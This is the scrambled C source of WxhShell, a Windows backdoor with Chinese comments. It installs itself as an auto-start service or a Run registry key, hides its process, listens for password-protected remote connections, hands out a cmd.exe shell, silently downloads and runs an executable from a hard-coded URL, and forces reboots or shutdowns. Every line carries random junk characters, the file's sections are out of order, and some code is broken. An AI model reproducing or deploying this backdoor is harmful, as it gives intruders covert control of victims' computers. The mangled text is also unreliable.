    if(Boot(SHUTDOWN)) AH^/V}9H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I,tud!p`  
    else { +[VXs~I q  
    closesocket(wsh); Psf#c:*_)  
    ExitThread(0); kmW4:EA%  
    } Y4-t7UlS;  
    break; J5qZFD  
    } -f .,tM=  
  // 获取shell c)J%`i$  
  case 's': { ;u JMG  
    CmdShell(wsh); 7! Nsm  
    closesocket(wsh); It(_v  
    ExitThread(0); #"!<W0  
    break; TH;hO).u  
  } TOt dUO  
  // 退出 & 21%zPm  
  case 'x': { ZVBXx\{s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KO [Yi  
    CloseIt(wsh); ]gOy(\B  
    break; COlqcq'qAu  
    } *@5@,=d  
  // 离开 9;{C IMg&  
  case 'q': { as|<}:V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qX%_uOw:%  
    closesocket(wsh); 1zv'.uu.,  
    WSACleanup(); :;}P*T*PU  
    exit(1); ?}oFg#m-<L  
    break; ]^E?;1$f?  
        } la!~\wpa  
  } dPlV>IM$z  
  } T)/eeZ$  
CJY$G}rk  
  // 提示信息 FrS]|=LJhX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ui~>SN>s  
} 1}x%%RD_  
  } oR'm2d^  
b6bHTH0  
  return; (QEG4&9  
} +7Gwg  
@ Y+oiB~Y  
// shell模块句柄 -w2/w@&  
int CmdShell(SOCKET sock) J1k>07}|  
{ K- v#.e4  
STARTUPINFO si; D*jM1w_`  
ZeroMemory(&si,sizeof(si)); t.<i:#rj>l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4?kcv59  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9[4xFE?|  
PROCESS_INFORMATION ProcessInfo; Wr 4,YQM  
char cmdline[]="cmd"; XFl 6M~ c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >MZ/|`[M  
  return 0; h p1Bi  
} <'u'#E@"sl  
Txu/{ M,  
// 自身启动模式 BGSw~6  
int StartFromService(void) y29m/i:  
{ { 6il`>=C  
typedef struct *4'"2"  
{ {7[Ox<Ho  
  DWORD ExitStatus; Jy)/%p~  
  DWORD PebBaseAddress; $'vU2L  
  DWORD AffinityMask; F9PxSk_\9  
  DWORD BasePriority; V~GDPJ+  
  ULONG UniqueProcessId; /~1+i'7V.,  
  ULONG InheritedFromUniqueProcessId; llq<egZpm  
}   PROCESS_BASIC_INFORMATION; dysS9a,  
%9"H  
PROCNTQSIP NtQueryInformationProcess; [Xkx_B  
_a, s )  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,1`z"7\W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \fOEqe*5SM  
vx =&QavL  
  HANDLE             hProcess; #!=tDc &  
  PROCESS_BASIC_INFORMATION pbi; VbYdZCC  
ZJoM?g~WFI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }f ?y* H  
  if(NULL == hInst ) return 0; mH(:?_KrS-  
zLQx%Yg!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }MySaL>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w0. u\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +{]j]OP  
g)-te+?6  
  if (!NtQueryInformationProcess) return 0; 5P bW[  
PCA4k.,T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [),ige  
  if(!hProcess) return 0; I%):1\)  
'/p4O2b,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?6!LL5a.  
e-;}366}  
  CloseHandle(hProcess); 6Wn1{v0  
+@UV?"d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gYj'(jB  
if(hProcess==NULL) return 0; 7zMr:JmV  
%T[]zJ(  
HMODULE hMod; BtZyn7a  
char procName[255]; l (o~-i\M  
unsigned long cbNeeded; _1^'(5f$  
y_,bu^+*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YSMAd-Ef-  
[[ZJ]^n,  
  CloseHandle(hProcess); )7@0[>  
)oZ dj`  
if(strstr(procName,"services")) return 1; // 以服务启动 lZ0 =;I  
*pd@.|^)m  
  return 0; // 注册表启动 9WHddDA  
} [ ~,AfY  
kAx4fE[c  
// 主模块 \e_O4  
int StartWxhshell(LPSTR lpCmdLine) WIOV2+  
{ ICCc./l|  
  SOCKET wsl; M5B# TAybC  
BOOL val=TRUE; zs;JJk^  
  int port=0; a*;b^Ze`v  
  struct sockaddr_in door; (H]AR8%W  
yZ:qU({KhD  
  if(wscfg.ws_autoins) Install(); iso4]>LF  
ESs\O?nO  
port=atoi(lpCmdLine); :Tc^y%b0  
iLT}oKF2N;  
if(port<=0) port=wscfg.ws_port; 'qi}|I  
^Cmyx3O^  
  WSADATA data; 9Flb|G%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RSds8\tk  
)jj0^f1!j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J,G lIv.A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QJNFA}*>  
  door.sin_family = AF_INET; mOSv9w#,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V~bD)?M  
  door.sin_port = htons(port); X]=t>   
;<5q]/IHK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R]dg_Da  
closesocket(wsl); [lAp62i5  
return 1; wr4:Go`  
} NI5``BwpO  
fM}#ON>Z  
  if(listen(wsl,2) == INVALID_SOCKET) { E]6 6]+;0_  
closesocket(wsl); Bx!-"e  
return 1; _@g;8CA  
} tkhCw/  
  Wxhshell(wsl); YqG7h,F  
  WSACleanup(); ]4{H+rw  
 -M2yw  
return 0; Ymgw-NJ;(  
iE{&*.q_}>  
} _|p8M!  
j|n R "!  
// 以NT服务方式启动  OSJ$d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 598i^z{~0%  
{ Al'3?  
DWORD   status = 0; ZuIefMiG~+  
  DWORD   specificError = 0xfffffff; uEY tE7  
tgaO!{9I?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u>$t'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X 8|EHb<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xPgBV~  
  serviceStatus.dwWin32ExitCode     = 0; `6YN3XS  
  serviceStatus.dwServiceSpecificExitCode = 0; K^$=dLp  
  serviceStatus.dwCheckPoint       = 0; ':W[A  
  serviceStatus.dwWaitHint       = 0; HDKbF/  
] - .aL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b[yiq$K/  
  if (hServiceStatusHandle==0) return; 7rA;3?p)  
8Y3I0S  
status = GetLastError(); y]im Z4{/  
  if (status!=NO_ERROR) +RXoi2"-q@  
{ Wm|lSisY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /bEAK-  
    serviceStatus.dwCheckPoint       = 0; "j-CZ\]U|  
    serviceStatus.dwWaitHint       = 0; r/sNrB1U"y  
    serviceStatus.dwWin32ExitCode     = status; U&xUfBDt  
    serviceStatus.dwServiceSpecificExitCode = specificError; :LTN!jj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nm+s{  
    return; G`zm@QL  
  } .2pK.$.  
<Qq*p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C>~TI,5a3  
  serviceStatus.dwCheckPoint       = 0; />Nt[o[r  
  serviceStatus.dwWaitHint       = 0; R4@6G&2d>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X|[`P<'N<  
} iUwzs&frd  
m4& /s  
// 处理NT服务事件,比如:启动、停止 nie%eC&U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wf<LR3  
{ I|J/F}@p  
switch(fdwControl) Mlq.?-QgIL  
{ |'.  
case SERVICE_CONTROL_STOP: uocGbi:V';  
  serviceStatus.dwWin32ExitCode = 0; kl,3IKHa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s7EinI{^  
  serviceStatus.dwCheckPoint   = 0; L(o15  
  serviceStatus.dwWaitHint     = 0; e*!kZAf  
  { qVPeB,kIz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rbQR,Nf2x  
  } h1{3njdr  
  return; ~v83pu1!2s  
case SERVICE_CONTROL_PAUSE: 5?L<N:;J_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KU;9}!#  
  break; >{Tm##@,k  
case SERVICE_CONTROL_CONTINUE: )jC%a6G!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ha#>G<;n  
  break; WKU=.sY  
case SERVICE_CONTROL_INTERROGATE: SB7c.H,  
  break; PzGWff!*n  
}; [:V$y1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %UM *79  
} 8X0z~ &  
5PW^j\G-f  
// 标准应用程序主函数 rGkyGz8>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c)tfAD(N8x  
{ \Roz$t-R|f  
x`?3C"N:<  
// 获取操作系统版本 KYP!Rs/j.  
OsIsNt=GetOsVer(); d %#b:(,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c(%|: P^  
oE~Bq/p  
  // 从命令行安装 .~}1+\~5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'RRE|L,  
 }75e:w[  
  // 下载执行文件 =2 kG%9  
if(wscfg.ws_downexe) { JCaOK2XT;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W%)Y#C  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9/7u*>:  
} cAc@n6[`3  
;>YzEo  
if(!OsIsNt) { BB'OCN  
// 如果时win9x,隐藏进程并且设置为注册表启动 frQ{iUx  
HideProc(); H.2QKws^F  
StartWxhshell(lpCmdLine); gNhQD*+>{  
} *#Wdc O `-  
else @A 5?3(e  
  if(StartFromService()) UDni]P!E  
  // 以服务方式启动 l+R+&b^  
  StartServiceCtrlDispatcher(DispatchTable); yWya&|D9  
else gO^gxJ'0t  
  // 普通方式启动 =ruao'A  
  StartWxhshell(lpCmdLine); _y>~ yZx  
/=, nGk>  
return 0; "vslZ`RU  
} ~nPtlrQa#*  
%#}Zy   
qv"$Bd:]r  
o lxByzTh>  
=========================================== B]$GSEB  
<|\Lm20 G]  
+]50DxflA  
Yuc> fFA  
)/EO&F  
'ah[(F<*@e  
" \G3rX9xG  
X|8c>_}  
#include <stdio.h> m9A!D  
#include <string.h> Ow077v ?  
#include <windows.h> ukY"+&  
#include <winsock2.h> S+2(f> Z  
#include <winsvc.h> h*Pc=/p  
#include <urlmon.h> &f;K}W O  
,iq4Iw  
#pragma comment (lib, "Ws2_32.lib") #V}IvQl|  
#pragma comment (lib, "urlmon.lib") p^u:&Quac  
4g7)iL^#~  
#define MAX_USER   100 // 最大客户端连接数 O#u=c1 ?:  
#define BUF_SOCK   200 // sock buffer ,u g@f-T  
#define KEY_BUFF   255 // 输入 buffer AFfAtu  
0AV c  
#define REBOOT     0   // 重启 2dzrRH  
#define SHUTDOWN   1   // 关机 A={UL  
p6WX9\qS(  
#define DEF_PORT   5000 // 监听端口 6i*sm.SDw  
$a %MOKr  
#define REG_LEN     16   // 注册表键长度 yH}s<@y;7  
#define SVC_LEN     80   // NT服务名长度 LraWcO\or'  
0C*7K?/  
// 从dll定义API EU/8=JA1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kM@zyDn,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zA"`!}*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i2^>vYCsl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y]5 l.SV  
kE(mVyLQ  
// wxhshell配置信息 0<B$#8  
struct WSCFG { tdaL/rRe  
  int ws_port;         // 监听端口 y#$CMf -q^  
  char ws_passstr[REG_LEN]; // 口令 e NafpK  
  int ws_autoins;       // 安装标记, 1=yes 0=no $D UZ!zaH!  
  char ws_regname[REG_LEN]; // 注册表键名 4YX3+oS  
  char ws_svcname[REG_LEN]; // 服务名 7`hP?a=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 * +wW(#[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a -moI+y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F.v{-8GV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1&o|TT/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a+PzI x2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hDq`Z$_+KX  
,-e{(L  
}; 13=.H5  
^w06<m  
// default Wxhshell configuration :<#nTh_@\'  
struct WSCFG wscfg={DEF_PORT, B !=F2  
    "xuhuanlingzhe", :$9tF >  
    1, 2Q"K8=s  
    "Wxhshell", E\2%E@0#  
    "Wxhshell", PIpi1v*qz  
            "WxhShell Service", {& T_sw@[  
    "Wrsky Windows CmdShell Service", ;{o|9x|  
    "Please Input Your Password: ", q8Z<{#oXu  
  1, SN!?}<|U  
  "http://www.wrsky.com/wxhshell.exe", RlDn0s  
  "Wxhshell.exe" 9pxc~=  
    }; x~j`@k,;  
*U\`CXn;  
// 消息定义模块 ;l-!)0 U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &q|K!5[k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }XM(:|8J,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x7x\Y(@  
char *msg_ws_ext="\n\rExit."; 'anG:=  
char *msg_ws_end="\n\rQuit."; lR6x3C H@  
char *msg_ws_boot="\n\rReboot..."; kd$D 3S ^{  
char *msg_ws_poff="\n\rShutdown..."; az|N-?u  
char *msg_ws_down="\n\rSave to "; 5j-YM  
_Z,\Vw:\F  
char *msg_ws_err="\n\rErr!"; {3{"8-18  
char *msg_ws_ok="\n\rOK!"; ^B 2 -)  
M_w<m  
char ExeFile[MAX_PATH]; `P;s 8~  
int nUser = 0; 7;(UF=4  
HANDLE handles[MAX_USER]; \`\ZTZni  
int OsIsNt; JO"<{ngsQ  
DXK}-4"\  
SERVICE_STATUS       serviceStatus; \<6CZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fn 6J *[`  
}t1a* z  
// 函数声明 Z} r*K%  
int Install(void); .JiziFJ@mj  
int Uninstall(void); M6-&R=78K  
int DownloadFile(char *sURL, SOCKET wsh); 3% ;a)c;D  
int Boot(int flag); ([LSsZ]sj  
void HideProc(void); 4u47D$=  
int GetOsVer(void); ;K &o-y  
int Wxhshell(SOCKET wsl); 5=?\1`e1[  
void TalkWithClient(void *cs); o"BoZsMk  
int CmdShell(SOCKET sock); f\>M'{cV  
int StartFromService(void); "E?2xf|.  
int StartWxhshell(LPSTR lpCmdLine); Hi`//y*92H  
@)&=%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n%s]30Xs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PJrtM AcKq  
xDoC(  
// 数据结构和表定义 JOLaP@IPT  
SERVICE_TABLE_ENTRY DispatchTable[] = cFnDmt I:  
{ Ev(>z-{F  
{wscfg.ws_svcname, NTServiceMain}, 'B0{_RaTb  
{NULL, NULL} Gvqxi|  
}; T+K):u g  
P{+T< bk|  
// 自我安装 zXxT%ZcCj  
int Install(void) )fSOi| |C  
{ r|PB*`  
  char svExeFile[MAX_PATH]; qF-@V25P  
  HKEY key; /& +tf*  
  strcpy(svExeFile,ExeFile); s '\Uap  
-f>%+<k=  
// 如果是win9x系统,修改注册表设为自启动  J@Q7p}  
if(!OsIsNt) { /j|G(vt5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"T;Qp~B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nyj( 0W  
  RegCloseKey(key); ,1CIBFY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !XCm>]R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xZwLlY  
  RegCloseKey(key); hUMf"=q+  
  return 0; |! E)GahM  
    } :'l^kSP_*C  
  } thM4vq   
} D"?fn<2  
else { 364`IC( a  
9g"2^^wD  
// 如果是NT以上系统,安装为系统服务 i||]V*5n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wN-d'-z/rd  
if (schSCManager!=0) scou%K  
{ GV69eG3bX#  
  SC_HANDLE schService = CreateService ;^%4Q"  
  ( QKN+>X  
  schSCManager, 474SMx$  
  wscfg.ws_svcname, nd1+"-,q  
  wscfg.ws_svcdisp, cH?B[S;]  
  SERVICE_ALL_ACCESS, 5ZK@`jkE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c~uKsU  
  SERVICE_AUTO_START, Vq?p|wy  
  SERVICE_ERROR_NORMAL, ,+xB$e  
  svExeFile, c>RFdc:U  
  NULL, F!Q@ u  
  NULL,  jQ  
  NULL, &Ao+X=qw  
  NULL, u5 : q$P  
  NULL /qGf 1MHD  
  ); \2"I;  
  if (schService!=0) 5r8< 7g:>C  
  { q~ZNd3O  
  CloseServiceHandle(schService); 78# v  
  CloseServiceHandle(schSCManager); R$TB1w9]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K&70{r  
  strcat(svExeFile,wscfg.ws_svcname); k!HK 97qA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )ZqTwEr@[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $5< #n@  
  RegCloseKey(key); Y>G@0r BG  
  return 0; ,TN 2  
    } w6GyBo{2O_  
  } SO(NVJh  
  CloseServiceHandle(schSCManager); _FVcx7l!u  
} FrYqaP  
} p@5`& Em,  
a8iQ4   
return 1; =&2 Lb  
} ^, _w$H  
`A^"% @j  
// 自我卸载 C:C}5<fk x  
int Uninstall(void) DB:+E|vSD  
{ /.MN  
  HKEY key; ;1.,Sn+zO  
_Khc3Jo  
if(!OsIsNt) { Z9 9>5\k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D.Q=]jOs  
  RegDeleteValue(key,wscfg.ws_regname); M#VE]J  
  RegCloseKey(key); ^,8)iV0j_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J )~L   
  RegDeleteValue(key,wscfg.ws_regname); bMMh|F  
  RegCloseKey(key); EzV96+  
  return 0; 27"%"P.1  
  } "C SC  
} B$!)YD;  
} V'T ,4  
else { 7=WT69,&  
-}=%/|\FG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,:H\E|XeBw  
if (schSCManager!=0) FUOI3  
{ b6F4>@gjg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %$ Z7x\_  
  if (schService!=0) T' &I{L33Y  
  {  @zz1hU  
  if(DeleteService(schService)!=0) { r1L ViK  
  CloseServiceHandle(schService); fhp<oe>D  
  CloseServiceHandle(schSCManager); Jjv=u   
  return 0; M|qteo  
  } H {k^S\K  
  CloseServiceHandle(schService); * %M3PTY\  
  } ( ?{MEwHG  
  CloseServiceHandle(schSCManager); xp72>*_9&  
} kg3EY<4i  
} y_IM@)1H~  
yo )%J  
return 1; NchXt6$i9  
} "xHgqgFyO  
OJ zs Q  
// 从指定url下载文件 D-(w_$#  
int DownloadFile(char *sURL, SOCKET wsh) 3G~@H>j  
{ Z1Z1@2 T  
  HRESULT hr; ( %xwl  
char seps[]= "/"; Mo @C9Y0  
char *token; oifv+oY  
char *file; B'EKM)dA  
char myURL[MAX_PATH]; 7`8Ik`lY  
char myFILE[MAX_PATH]; BT"42#7_  
aKuSd3E@#  
strcpy(myURL,sURL);  <**y !2  
  token=strtok(myURL,seps); ~UjGSO)z}  
  while(token!=NULL) ``e$AS  
  { *nsAgGKKM^  
    file=token; oDYRQozo>  
  token=strtok(NULL,seps); GBFtr   
  } [7S} g  
dW~*e2nq  
GetCurrentDirectory(MAX_PATH,myFILE); i35=Y~P-  
strcat(myFILE, "\\"); ^?]%sdT q  
strcat(myFILE, file); fasgmi}  
  send(wsh,myFILE,strlen(myFILE),0); Qx47l  
send(wsh,"...",3,0); 69NQ]{1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yz*6W zD  
  if(hr==S_OK) UHxE)]J  
return 0; 1u(.T0j7f  
else a5!Fv54  
return 1; XW s"jt  
:2-pjkhiwY  
} R&';Oro  
qfz8jY]  
// 系统电源模块 xD[Gq%  
int Boot(int flag) / iV}HV0  
{ <xC#@OZ  
  HANDLE hToken; z;wELz1L{  
  TOKEN_PRIVILEGES tkp; e=;AfK  
Y +\%  
  if(OsIsNt) { y K2^Y]Ku?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '@CR\5 @  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OP|8Sk6 r  
    tkp.PrivilegeCount = 1; e-*.Ca  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^=SD9V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5-0{+R5v  
if(flag==REBOOT) { 9*=W-v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e|D ;OM  
  return 0; mL`5u f  
} Eb>78k(3I)  
else { z7Eg5rm|QZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !G}+E2fDA  
  return 0; S (N\cw$  
} r~nsN*t  
  } VZ](uFBY  
  else { {Gw.l."  
if(flag==REBOOT) { @%lBrM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zyg  }F  
  return 0; e^Ky<*Y  
} M7+h(\H]2  
else { &o97u4xi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,qrQ"r9  
  return 0; GS Q/NYK  
} 7ei|XfR  
} 3^ ~KB'RZ  
xOHgp=#D  
return 1; [mr9(m[F  
} m7GR[MR  
,SiY;(b=\  
// win9x进程隐藏模块 U*P. :BvG  
void HideProc(void) *(>}Y  
{ &gE 75B  
mA@Me7m}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P?]aWJ  
  if ( hKernel != NULL ) u@%r  
  { BEgV^\u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :C8$Xi_i}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "y<?Q}1  
    FreeLibrary(hKernel); $Qy7G{XJ[^  
  } T,OwM\`.X{  
-tI'3oT1  
return; fiN3xP]V  
} d/e|'MPX  
LJTQaItdqJ  
// 获取操作系统版本 ?cEskafb>  
int GetOsVer(void) 3#45m+D  
{ e=QK}gzX  
  OSVERSIONINFO winfo; %9#gB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :BGA.  
  GetVersionEx(&winfo); @M8|(N%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q 9&kJ%Mo  
  return 1; H7k PM[  
  else R?EASc!b  
  return 0; }AvcoD/b  
} N9<Ujom  
h}Wdh1.M3  
// 客户端句柄模块 fn/7wO$!  
int Wxhshell(SOCKET wsl) *79m^  
{ ?}Lg)EFH  
  SOCKET wsh; o!r8{L  
  struct sockaddr_in client; <JwX_\?ln  
  DWORD myID; 1I}b|6 `  
$CE[MZ&S  
  while(nUser<MAX_USER) `g1iCF  
{ Y05P'Q  
  int nSize=sizeof(client); cbu@*NzY,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *VkgQ`c  
  if(wsh==INVALID_SOCKET) return 1; '2-oh  
OcSEo7W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6k/U3&R  
if(handles[nUser]==0) DK&h eVIoZ  
  closesocket(wsh); %&\jOq~  
else 0G2g4DSKD  
  nUser++; Zf>^4_x3P  
  } (?b@b[D~4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A;u"<KG?  
$.489x+'Z  
  return 0; xT)psM'CL  
} -sMytHH.  
8g >b  
// 关闭 socket [!VOw@uz  
void CloseIt(SOCKET wsh) U#o'H @  
{ <d7V<&@o=  
closesocket(wsh); 7.+#zyF  
nUser--; 9=/N|m8.  
ExitThread(0); Bz`yfl2  
} )P>u9=?,=E  
D8# on!  
// 客户端请求句柄 V=:_d,  
void TalkWithClient(void *cs) Gj /3kS~@  
{ jUqy8q&  
? QDWuPhN  
  SOCKET wsh=(SOCKET)cs; :;!\vfZbU  
  char pwd[SVC_LEN]; #9LzY  
  char cmd[KEY_BUFF]; ksjUr1o  
char chr[1]; jAsO8  
int i,j; t%r :4,  
?oiKVL"7  
  while (nUser < MAX_USER) { D["MUB4l  
jRpdft  
if(wscfg.ws_passstr) { 2~;&g?T6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0%;146.p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^aRgMuU  
  //ZeroMemory(pwd,KEY_BUFF); ~ekh1^evu  
      i=0; vY*\R0/a  
  while(i<SVC_LEN) { Yp4c'Zk  
'7im  
  // 设置超时 dy>|c j  
  fd_set FdRead; n!He&  
  struct timeval TimeOut; sxED7,A  
  FD_ZERO(&FdRead); fH8!YQG8$  
  FD_SET(wsh,&FdRead); &VWlt2-R0h  
  TimeOut.tv_sec=8; Cv=GZGn-  
  TimeOut.tv_usec=0; ~L+]n0*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Dx#7bsDZR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]wuy_+$  
G7* h{nE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cUDgM  
  pwd=chr[0]; !@ YXZ  
  if(chr[0]==0xd || chr[0]==0xa) { nD,{3B#  
  pwd=0; ;</Twm;:  
  break; (w2= 2$  
  } wX'}4Z=C~  
  i++; $rG<uO  
    } B">yKB:D}t  
3An(jt$%Q  
  // 如果是非法用户,关闭 socket 1;W=!Fx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \T-~JQVj  
} `HX3|w6W;  
1ZKzumF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3LlU]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); px9>:t[P  
2go>  
while(1) { 1=Ilej1  
oVB"f  
  ZeroMemory(cmd,KEY_BUFF); b5e@oIK  
/b.oEGqZX  
      // 自动支持客户端 telnet标准   CM~MoV[k7e  
  j=0; LI:T c7t  
  while(j<KEY_BUFF) { ur2!#bU9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xKJ>gr"w#  
  cmd[j]=chr[0]; @5}gsC  
  if(chr[0]==0xa || chr[0]==0xd) { S@:B6](D$  
  cmd[j]=0; U 0ZB^`  
  break; KC&`x |  
  } <Ns &b.\h6  
  j++; :J(sXKr[C  
    } @PcCiGZ  
nJVp.*S  
  // 下载文件 {(vOt'  
  if(strstr(cmd,"http://")) { ,{j4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +*t|yKO>[  
  if(DownloadFile(cmd,wsh)) TV{)n'aA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t^@T`2jL  
  else c#q"\"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~|) 9RUXr>  
  } GF R!n1Hv  
  else { FWTx&Ip  
MtG_9-  
    switch(cmd[0]) { +(ny|r[#  
  p~bkf>  
  // 帮助 d~[UXQC  
  case '?': { x9}++r  
